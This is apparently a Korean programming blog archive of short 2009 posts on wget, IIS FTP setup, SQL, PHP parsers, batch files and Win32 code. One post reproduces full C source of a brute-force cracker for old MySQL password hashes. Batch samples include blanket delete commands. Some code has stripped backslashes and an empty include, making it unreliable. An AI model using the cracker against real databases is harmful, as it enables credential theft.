설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria 에서 확장자가 .fna 인 파일만 빼고 받아서 현재 디렉토리에 저장한다.

-l , --level= : -r 옵션, 즉 하위 디렉토리 받아오기를 사용하였을 때 다운로드받을 최대 단계를 지정할 때 사용한다.

사용예 : wget -nd -r --accept=fna --level=3 ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria/ 
설명 : ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria 에서 확장자가 .fna 인 파일만 빼고 받고 3단계까지 거슬러 올라서 다운로드를 수행한다.

-N : 현재 다운로드 받을 위치에 있는 파일이 현재 내 하드에 있는 파일보다 새로운 파일일때만 다운로드를 수행한다

-m : 미러 명령. 즉, 특정한 웹사이트의 내용을 그대로 폴더 구조채 긁어오되, 새로 업데이트한 내용만을 다운받고 싶을 때 사용한다.

ftp id, password 지정 : wget ftp://id:password@website



이런 식으로 id와 password를 지정하면 된다

이 정도면 많이 사용하는 옵션에 대해서는 설명했을 것이다. 기타 명령어에 대해서는 wget --help 를 입력하면 자세한 설명이 나와 있다.


5. 기타
 
- 쉘 스크립트나 배치 파일을 이용하여 자동화하면 매우 편리하다.

가령 유닉스 계열이라면

#!/bin/bash
wget -nd -r ftp://id:password@website/$1/
.
.
.


과 같은 식으로 간단한 쉘 스크립트를 작성하여 적당한 이름으로 저장한 후, Path가 걸린 위치에 넣고 실행 권한 (chmod +x <파일이름>) 을 주면 매우 편리하다.

윈도우라면

echo off
wget -nd -r  ftp://id:password@website/%1/
.
.
.

과 같은 식으로 배치 파일을 만들고 *.bat 으로 저장한다.
2009/10/13 13:08 2009/10/13 13:08

1. 우선 IIS-FTP 를 설치한다.

2. FTP 루트디렉토리를 만든다. 여기서 난 D:\Web-Hosting\   으로 만들어따.

3. 사용자 추가 하기  새사용자를 추가한다. nforce, koojoo 두개의 계정을 만든다.테스트로.

4. D:\Web-Hosting\ 디렉토리밑에 LocalUser 를 만들고 만든디렉토리 하단에 사용자를 추가한 디렉토리를 만든다.

   이디렉토리는 ftp접속시 사용자 루트 디렉토리이다.

        D:\Web-Hosting\LocalUser\nforce

        D:\Web-Hosting\LocalUser\koojoo


만들고 나서 사용자 디렉토리 밑에 www 란 디렉토리를 만든다.

이디렉토리는 웹서비스 루트 디렉토리이다.

        D:\Web-Hosting\LocalUser\nforce\www

        D:\Web-Hosting\LocalUser\koojoo\www


5. D:\Web-Hosting\LocalUser\nforce 폴더 보안설정에서    Administrators 그룹은 그냥두고 nforce 사용자를 추가하고나서

 두계정에 [모든권한] 을 준다.  koojoo 계정도 마찬가지이다.


6. 이제 알ftp나 다른프로그램을 사용해서 접속해본다. nforce로 접속해보니 잘된다. 테스트로 파일업로드도 해보고 다운로드도 해보자.


7. 웹서비스 설정은 도메인과 ftp 유저에 맞게  D:\Web-Hosting\LocalUser\nforce\www     www 디렉토리를 지정해주면된다.ㅋ



*참고 익명 디렉토리는 D:\Web-Hosting\LocalUser\Public 식으로 지정해주면된다.

2009/10/13 10:25 2009/10/13 10:25
<link rel=alternate media=print href=http://youngsam.kr/doc.doc>
<a href="javascript:window.print()">프린트</a>
2009/09/30 21:56 2009/09/30 21:56
소스중에 보니 발생한 자바스크립트 에러를 상태창에 계속적으로 띄워주는 소스가 있어 에러를 해결하는데 도움이 많이되어서 올려봅니다.
아시는분들은 아시겠지만 모르시는 분들을 위해서 ^^*

사용하시는 자바스크립트 마지막에 아래코드를 넣어 사용하시면 됩니다.

window.onerror = HandleError;

function HandleError(message, url, line) {
  var str = "An error has occurred in this dialog." + ""
  + "Error: " + line + "" + message;
  window.status = str;
  return true;
} // Error 발생시 수행

2009/09/30 21:55 2009/09/30 21:55
<a href="설명페이지.html" target="2" onclick =  "parent.frames(3).location = '사진페이지.html'">개미핥기</A>
2009/09/30 21:54 2009/09/30 21:54
<OBJECT id=MsgrUIA classid=clsid:B69003B3-C55E-4b48-836C-BC5946FC3B28 codeType=application/x-oleobject width=1 height=1></OBJECT>
<SCRIPT language=javascript>
<!--
function addBuddy(buddyEmail)
{
  try
  {
   if ("undefined" == typeof(MsgrUIA)) throw 0;

    if(MsgrUIA.MyStatus == 1)
    {
     MsgrUIA.SignIn(0,'','');
     throw 1;
    }

    MsgrUIA.AddContact(0, buddyEmail);
  }
  catch(e)
  {
    switch(e)
   {
    case 0:
     alert("자동으로 친구 추가를 하지 못했습니다.nn다음 MSNID를 수동으로 추가해주세요.nn" + buddyEmail);
      break;
    case 1:
     alert("MSN 메신저에 먼저 로그인 해주세요.");
     break;
    default:
     alert("MSN 메신저가 실행되지 않았거나, 친구 추가가 안되는 시스템입니다.");
    }
  }
}
-->
</SCRIPT>

<a href="#" onClick='addBuddy("좋아?@hotmail.com");'>클릭!</a>
2009/09/30 21:53 2009/09/30 21:53
MySQL Weak Password Encryption Vulnerability Exploit



/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

return 0;
}

void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %sn", hash);
return;
}
printf("Hash: %08lx%08lxn", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);

for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %dn", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not foundn");
}

int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hashn", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
2009/09/30 21:45 2009/09/30 21:45
* 데이터베이스 또는 테이블 보기
SHOW DATABASES;
SHOW TABLES;

* 데이터베이스 생성하기
CREATE DATABASE 데이터베이스명;

* 테이블 생성하기
CREATE TABLE 테이블명 (컬럼명1, 컬럼명2, 컬럼명3, ..., 컬럼명N);

* 데이터베이스 사용
USE 데이터베이스명;

* 데이터베이스 삭제하기
DROP DATABASE 데이터베이스명;

* 테이블 삭제하기
DROP TABLE 테이블명;

* 테이블에 새로운 컬럼 추가하기
ALTER TABLE 테이블명 ADD 컬럼명 자료형;

* 데이블의 특정 컬럼을 변경하기
ALTER TABLE 테이블명 CHANGE 변경전명 변경후명 자료형;

* 테이블에 특정 컬럼을 삭제하기
ALTER TABLE 테이블명 DROP 컬럼명;

* 테이블에 데이터 추가하기
INSERT INTO 테이블명 (컬럼1, 컬럼2, ..., 컬럼N) VALUES (데이터1, 데이터2, ..., 데이터N);

* 테이블 구조 살펴보기
DESCRIBE 테이블명;

* 원하는 항목 표시하기
SELECT * FROM 테이블이름;
SELECT 컬럼1, 컬럼2, ...컬럼N FROM 테이블이름;

* 조건하에 항목 표시하기
SELECT id, name, email FROM memo WHERE sex = 'M' AND math > '70';

* 순서대로 표시하기
// 오름차순
SELECT name, phone FROM memo ORDER BY 컬럼명 ASC;
// 내림차순
SELECT name, phone FROM memo ORDER BY 컬럼명 DESC;

* 원하는 갯수만큼 가져오기
// 위에서 4개만 가져온다.
SELECT * FROM memo LIMIT 4;
// 3번부터 4개를 가져온다.
SELECT * FROM memo LIMIT 2, 4;

* 데이터 개수 알아내기
SELECT COUNT(*) FROM data;

* 특정조건에 해당되는 데이터 갯수 구하기.
SELECT COUNT(*) FROM data WHERE sex = 'F';

* 검색을 통해 데이터 가져오기
SELECT * FROM student WHERE name LIKE '인민%';

* 자료 업데이트 하기
UPDATE 테이블명 SET 컬럼 = 값, ... WHERE 조건문

* 자료 삭제하기
DELETE FROM 테이블명 WHERE 조건문;

2009/09/30 21:32 2009/09/30 21:32

PHP XML 파서

프로그래밍/PHP 2009/09/30 21:31
php5에서는 xml lib를 제공하지만 4.x는 제공하지 않는걸로 알고있습니다.
결국 xml파서를 만들어 사용해야는데요.
고맙게도criticaldevelopment.net 에서 GNU라이센스를 사용하여 배포하고있습니다.

참고문서 : http://www.criticaldevelopment.net/xml/doc.php

파일다운

1. 속성
tagData : 태그값
tagAttrs : 태그 속성값
tagParents : This member contains the number of parents this object has before the document root. This number, currently, is only used to determine how many tabs are required to nicely format the XML output.
tagChildren : This member is an array of references to all of the direct child tags of the given object, in order of occurance in the XML document. It is simply an alternative to accessing the children tags by their names, and is used when names are arbitrary or unknown.
tagName : This member contains the name of the current tag. Again, it is only used internally for the proper output of the XML document.

2. 예제 xml

<?xml version='1.0' encoding='utf-8'?>
<Widget>
<WidgetPrefs>
<title>제목</title>
  <directory_title>디렉토리제목</directory_title>
 </WidgetPrefs>
 <Content src="index.html"></Content>
</Widget>

3.사용법

<?php
//기본적으로 들어가는 부분
include "parser_php4.php";                       // 클래스 파일 include
$xml = file_get_contents("./ex.xml");         // 파싱할 대상XML 가져오기
$parser = new XMLParser($xml);             // 객체생성 parser라는 객체를 생성함
$parser->Parse();                                  // Parse()메소를 호출하여 xml을 dom 방식으로 파싱함

//파싱된 xml결과값을 사용하는 방법
echo $parser->document->widgetprefs[0]->title[0]->tagData;
 // 타이틀 데이터를 가져올때 (하나의 데이터를 지정해서 가져올 경우)
// "위젯 제목을 제공하는~~" 출력됨
echo $parser->document->content[0]->tagAttrs['src'];
 // 속성값 가져오기
 // "index.html"이 출력됨 
echo $parser->GenerateXML();              
// 위 ex.xml과 똑같은 xml 문서가 출력됨
?>

2009/09/30 21:31 2009/09/30 21:31

PHP RSS 리더

프로그래밍/PHP 2009/09/30 21:30
PHP로 구현된 간단한 RSS리더 입니다.
lastRSS라는 사이트에서 GNU 라이센스로 배포하고 있습니다. (망했나보네요.. 사이트가 closed..)
사용법은 제가 나름 사용해봤본 소스입니다.

다운로드

1. 사용법
<?php
include "./lastRSS.php";
// -------------------------------------------------------------------
// 출력할 라인수를 결정합니다.
$line = 50;
// -------------------------------------------------------------------
// 설정 URL을 지정합니다.
$rssurl = "";
// -------------------------------------------------------------------
// rss설정
$rss = new lastRSS;
$rss->cache_dir = './cache/';   //케쉬를만들 폴더설정
$rss->cache_time = 0;     //케쉬생성주기
$rss->cp = 'UTF-8';      //인코딩
$rss->date_format = 'y-m-d';   //날짜형식 년월일
   
if ($rs = $rss->get($rssurl)) {
  $i=0;
  foreach($rs['items'] as $item) {
// -------------------------------------------------------------------
// 인코딩및 cdta 태그를 지우는 부분입니다.
   $item[link]=str_replace("<![CDATA[", "",$item[link]);
   $item[link]=str_replace("]]>", "",$item[link]);
   $item[link]=iconv('UTF-8', 'EUC-KR', $item[link]);
   $item[title]=str_replace("<![CDATA[", "",$item[title]);
   $item[title]=str_replace("]]>", "",$item[title]);
   $item[title]=iconv('UTF-8', 'EUC-KR', $item[title]);
   $item[description]=str_replace("<![CDATA[", "",$item[description]);
   $item[description]=str_replace("]]>", "",$item[description]);
   $item[description]=iconv('UTF-8', 'EUC-KR', $item[description]);
   $item[author]=iconv('UTF-8', 'EUC-KR', $item[author]);
   $item[category]=iconv('UTF-8', 'EUC-KR', $item[category]);
// -------------------------------------------------------------------
// 출력 HTML 부분
   ?>
    제목 :  <?=$item['title']?>   <br/>
    링크 :  <?=$item[link]?>   <br/>
    내용 :  <?=$item[description]?>  <br/>
    작성자 : <?=$item[author]?>   <br/>
    작성일 : <?=$item[pubDate]?>   <br/>
    <br/><br/>
   <?
// -------------------------------------------------------------------
// 라인수결정
   if($i++ > $line-2) break;
  }
}
// -------------------------------------------------------------------
// RSS경로가 잘못되거나 열수 없을때
else {?>
경로를 찾을수 없거나, 서버를 찾을수 없습니다.
<?
}
?>
2009/09/30 21:30 2009/09/30 21:30

메타데이타는 데이타를 위한 데이타입니다.

보통 컴퓨터에서는 메타데이타를 크게 2가지 목적을 위해 사용하고 있읍니다.


하나는 데이타의 표현하기 위한 것입니다.

예를 들어 위의 문장은 굵은 글씨로 글이 쓰여져 있습니다. "하나는 데이타의 표현하기 위한 것입니다."라는 문장은 사용자 입장에서 보면 데이타가 되겠지요.


그런데 이것을 굵은 글씨로 화면에 보이게 하라 는 것이 어디엔가 데이타로 표현 되어 있겠지요. 이러한 데이타를 메타 데이타라고 합니다. 즉 데이타를 꾸미기(?) 위한 데이타라고 이야기 할 수 있죠.


 우리가 ms-word나 아래 한글로 타이핑 할 때 글씨를 빨강색으로 보이게도 하고, 또 제곱 글자 처럼 작은 글자로 위로 올라 가게 보이게하기도 합니다. 또는 이탤릭 체로 보이게 할 수도 있읍니다. 우리 눙에는 안보이지만 컴퓨터 프로그램은 파일 내 어디엔가 이런 정보를 담아 두겠지요. 이러한 것을 메타데이타라고 합니다.


그러나 메타데이타는 글자의 모양이나 색깔 등을 표현하는 것 이외에도 문장의 제목이나 단락, 혹은 쪽(page), 장(chapter)등을 표현 할 수 도 있읍니다.


메타데이타의 가장 좋은 예는 html태그입니다.

<*font color=red*>,<*b*>,<*h1*>,<*head*>,<*body*>등으로 글자의 색상이나, 문맥 등을 표현 하지요. 이러한 html은 또 구조화 되어 있어서 메타데이타를 데이터에 관한 구조화된 데이터 (structured data about data) 라고 부르기도 합니다.


구조화의 의미는, html태그내에 head나 body가 있고 body내에는 table이 올 수 있고, table내에는 tr이, tr내에는 td가 올 수 있는 것처럼 상위에서 하위로 구조(treeㄹ형태)를 이루고 잇다는 의미이지요.


메타데이타의 또 다른 역할은 데이타를 찾기 위한 인덱스(Index)구실을 한다는 것입니다.

우리가 책의 내용을 찾을 때 책 앞의 목차나 책 뒤의 색인을 보고 찾으면 빨리 찾을 수 잇읍니다. 우리가 많이 사용하는 데이타베이스도 이러한 메타데이타가 잘 구성 되어 있기 때문에 빨리 데이타를 찾을 수 있습니다.


이 경우, 메타데이타는 데이타를 빨리 찾기 위해 만들어 둔 데이타가 되겠지요.


전자의 경우나 후자의 경우나 메타데이타는 데이타를 사용하는 사람에게는 보이지 않읍니다. 그러나 기계(컴퓨터)는 메타 데이타를 내용을 이해하고  이용합니다.


요약해서 이야기 하면 메타데이타는


(1) 데이타를 꾸미기 위한 데이타

(2) 데이타를 빨리 찾기 위해 만들어 둔 데이타

2009/09/30 03:36 2009/09/30 03:36

⑴ 배치파일이란?

자주 사용되는 일련의 명령들을 하나의 그룹으로 묶은 후 배치파일명만 입력하면 여러 명령이 한번에 수행되도록 한 파일로, 일괄처리파일이라고도 함


⑵ 배치파일 작성

'COPY CON 파일명'을 이용하거나 각종 에디터(Editor) 또는 워드프로세서를 통해 작성
배치파일을 확장자 : BAT
배치파일에서 사용 가능한 명령 : 내부 및 외부 명령어, 배치 전용 명령 등
10개 이상의 명령을 실행시키기 위해 %0~%9까지 10개의 파라미터를 사용
일괄처리 파일의 실행 : 파일명을 입력한 후 Enter
(예) 다음과정을 수행하는 배치파일 작성
화면을 삭제
파일 현재 디렉토리 목록을 확인
A 드라이브를 검사
A 드라이브 디스크 복사


⑶ AUTOEXEC.BAT

배치파일의 특수한 경우로 컴퓨터가 부팅될 때 자동으로 실행되는 파일을 말하며, 주로 컴퓨터를 사용할 때 매번 설정하는 초기 명령 등을 기입함
자동실행 배치파일에는 일반 배치파일에서 사용하는 각종 명령어(내부/외부 명령어, 배치파일 전용 명령어)를 모두 사용할 수 있음
AUTOEXEC.BAT 파일은 루트 디렉토리에 존재해야 부팅시 정해진 처리를 하게 됨


⑷ 배치 전용 명령

ECHO ON : 명령어를 화면에 표시
ECHO OFF : 명령어를 화면에 표시하지 않음
GOTO : 특정 레이블로 분기하고자 할 경우 사용
IF : 조건에 따른 수행을 하고자 할 때 사용
PAUSE : 배치파일의 수행을 일시 정지
Shift : 가상의 파라미터를 이동
FOR : 실행을 반복
CALL : 다른 배치 파일 호출
※ ECHO 명령 사용시 ECHO OFF라는 명령조차 나타나는 것을 막기 위해서는 ECHO 명령 앞에 '@' 기호를 붙여주면 됨



샘플파일    aaa.bat

-----------------

@echo
cd d:\temp\
del *.*;

del /Q *.*;   <--- 묻지 않고 삭제하기.

------------------


@echo
cd C:\kkk
REM call rexpis_stop.bat         <----- 주석 , 설명
cd C:\kkk\data\autoretry
del /Q *.*;
rm -rf ./                               <--- 해당 폴더 하위의 폴더를 삭제 , 에러무시해도 됨.
del /Q *.*;
cd C:\XMapper\data\xmldoc\mapin
sqlplus a/a@ORCL        <-- 바로 sqlplus 로 접속   ( @a.txt     a.txt 파일을 열어서 바로 스크립트 실행 )
copy aaa.txt c:\kkk\bbb.txt
cd C:\kkk
REM call abc.bat

2009/09/30 03:35 2009/09/30 03:35

1. 레지스트리 경로
\software\microsoft\windows\currentversion\app paths\IEXPLORE.EXE
에 보시면 iexplorer.exe 패스가 나옵니다.
win9x, winMe, win2k 동일합니다.

spath는 설치된 경로, surl은 http://www.yahoo.co.kr/
모두 문자열입니다.


STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(STARTUPINFO));
sprintf(cmd,"%s %s",spath,surl);
CreateProcess (NULL,cmd,NULL,NULL,true, NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);



항상 새로운 윈도우에 프로그램이 실행됩니다.



2. 항상 새로운 익스플로러 실행

ShellExecute(NULL,"open","iexplore",((SiteInfo*)GetItemData(nItem))->Url,NULL,SW_SHOW);


형식> ShellExecute(NULL,"open","iexplore", url, NULL, SW_SHOW);




3. 마지막으로 실행된 익스플로러를 이용
ShellExecute(NULL,"open",((SiteInfo*)GetItemData(nItem))->Url,NULL,NULL,SW_SHOW);


형식> ShellExecute(NULL,"open", url, NULL, SW_SHOW);



4. 레지스트리에서 경로를 읽어와서 익스플로러 새창을 뛰우기
HKEY hkey;
LONG ReturnValue=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\

App Paths\\IEXPLORE.EXE",0, KEY_ALL_ACCESS,&hkey);


if(ReturnValue==ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize = 200;
char szString[255];

LONG lReturn = RegQueryValueEx (hkey, "", NULL,&dwType, (BYTE *)

szString, &dwSize);
if(lReturn==ERROR_SUCCESS )
{
RegCloseKey(hkey);
CString str;
str.Format("%s",szString);
str+=" ";
str+=((SiteInfo*)GetItemData(nItem))->Url;
WinExec(str,SW_SHOW);

}

}

2009/09/30 03:32 2009/09/30 03:32

// 깔끔하게 만들려고 노력했다.
// 에러처리 완벽하게 할려고 했다.

/*
 // <사용방법>
 LPWSTR lpszSource;      // WCHAR 포인터(유니코드 문자열) 변수 할당
 if(GetHtmlSource(pDoc, &lpszSource)){ // 성공여부 체크
  //ClipBoardTextCopyW(lpszSource); // 필요한 작업~~~~
  //.....
  //....
  //...
  free(lpszSource);     // ★ 작업이 끝나면 반드시 해제하자
 }

*/

int __stdcall GetHtmlSource(IHTMLDocument2 *pDoc, LPWSTR *ppszText)
{
 int iRunCount = 0;  // 함수 실행 횟수 제한키 위해
 int iSuccessCount = 0; // 성공적으로 프레임으로부터 소스 추출한 횟수

 *ppszText = (LPWSTR)calloc(1, sizeof(WCHAR));
 if(NULL == *ppszText){
  MessageBox(NULL, _T("초기 2바이트 메모리 할당에 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  *ppszText = NULL;
  return 0;
 }
 
 iSuccessCount = GetHtmlSourceRecur(pDoc, ppszText, &iRunCount); // 실질적인 재귀함수 실행
 if(0 == iSuccessCount) free(*ppszText); // 성공카운트가 0이면 실패이므로 메모리 해제하자.
 
 return iSuccessCount;
}


// 프레임안에 프레임이 있는 구조가 흔하므로 재귀함수로 구성한다.
// 재귀함수의 무한반복(스택 오버플로우 에러 가능)은 위험하므로 호출횟수 제한함.
// 정상적인 웹페이지에서 프레임이 20개 넘는 경우는 없을 것이므로 20으로 제한
// 리턴값은 프레임에서 소스 추출 성공횟수
int __stdcall GetHtmlSourceRecur(IHTMLDocument2 *pDoc, LPWSTR *ppszText, int *piRunCount)
{
 // 호출횟수 검사
 *piRunCount = *piRunCount+1;
 if(*piRunCount > 20){
  MessageBox(NULL, _T("GetHtmlSourceRecur 재귀함수 호출이 20회를 초과하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  return 0;
 }

 BOOL bRes=FALSE;
 int iSuccessCount = 0;
 
 // 현재의 프레임의 URL 추출
 LPCWSTR lpszPreStr=L"<!-- ◀◀◀ 프레임 주소: "; // 주석표시와 앞에 붙일 스트링
 BSTR bstrUrl;
 if(S_OK == pDoc->get_URL(&bstrUrl)){
  *ppszText = (LPWSTR)realloc(*ppszText, (lstrlenW(*ppszText)+lstrlenW(bstrUrl)+lstrlenW(lpszPreStr)+5+1)*sizeof(WCHAR));
  if(*ppszText){
   lstrcatW(*ppszText, lpszPreStr);
   lstrcatW(*ppszText, bstrUrl);
   lstrcatW(*ppszText, L"-->\r\n"); // 주석 닫음과 개행(길이 5)
   bRes = TRUE;
  } else{
   MessageBox(NULL, _T("URL을 위한 메모리 할당이 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
   bRes = FALSE;
  }
  SysFreeString(bstrUrl);
 }
 
 if(!bRes){
  MessageBox(NULL, _T("URL을 얻는 데 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  return 0;
 }


 // 현재의 프레임의 도큐먼트의 소스 추출... 구하는 원리는 <body>의 부모는 <html>이므로...
 IHTMLElement * pBodyElem=NULL;
 IHTMLElement * pParentElem=NULL;
 BSTR bstrSource;
 
 bRes=FALSE;
 if(S_OK==pDoc->get_body(&pBodyElem)){
  if(S_OK==pBodyElem->get_parentElement(&pParentElem)){
   if(S_OK == pParentElem->get_outerHTML(&bstrSource)){
    *ppszText = (LPWSTR)realloc(*ppszText, (lstrlenW(*ppszText)+lstrlenW(bstrSource)+8+1)*sizeof(WCHAR));
    if(*ppszText){
     lstrcatW(*ppszText, bstrSource);
     lstrcatW(*ppszText, L"\r\n\r\n\r\n\r\n"); // 개행 4번(길이 8)
     bRes = TRUE;
    } else{
     MessageBox(NULL, _T("소스를 위한 메모리 할당이 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
     bRes = FALSE;
    }
    SysFreeString(bstrSource);
   }
   pParentElem->Release();
  }
  pBodyElem->Release();
 }
 if(!bRes){
  MessageBox(NULL, _T("개별 도큐먼트 소스를 얻는 데 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  return 0;
 }
 
 ++iSuccessCount;


 // 내부에 존재하는 프레임의 수를 검사하고 있으면 재귀호출
 long i, lFrameCount=0;
 IHTMLFramesCollection2 *pFramesCollection = NULL;
 IHTMLWindow2 * pWin=NULL;
 IHTMLDocument2 * pDocFrame = NULL;
 VARIANT varIndex; varIndex.vt=VT_I4;
 VARIANT varDispWin; varDispWin.vt=VT_DISPATCH;
 
 if(S_OK == pDoc->get_frames(&pFramesCollection)){
  if(S_OK == pFramesCollection->get_length(&lFrameCount)){
   for(i=0 ; i<lFrameCount ; i++){
    varIndex.lVal=i;
    if(S_OK == pFramesCollection->item(&varIndex, &varDispWin)){
     if(S_OK == varDispWin.pdispVal->QueryInterface(IID_IHTMLWindow2,(void**)&pWin)){
      if(S_OK == pWin->get_document(&pDocFrame)){ // 하위 doc이 구해지면 재귀시킨다.
       iSuccessCount += GetHtmlSourceRecur(pDocFrame, ppszText, piRunCount);
       pDocFrame->Release();
      }
      pWin->Release();
     }
     varDispWin.pdispVal->Release();
    }
   }
  }
  pFramesCollection->Release();
 }

 return iSuccessCount;
}


2009/09/30 03:32 2009/09/30 03:32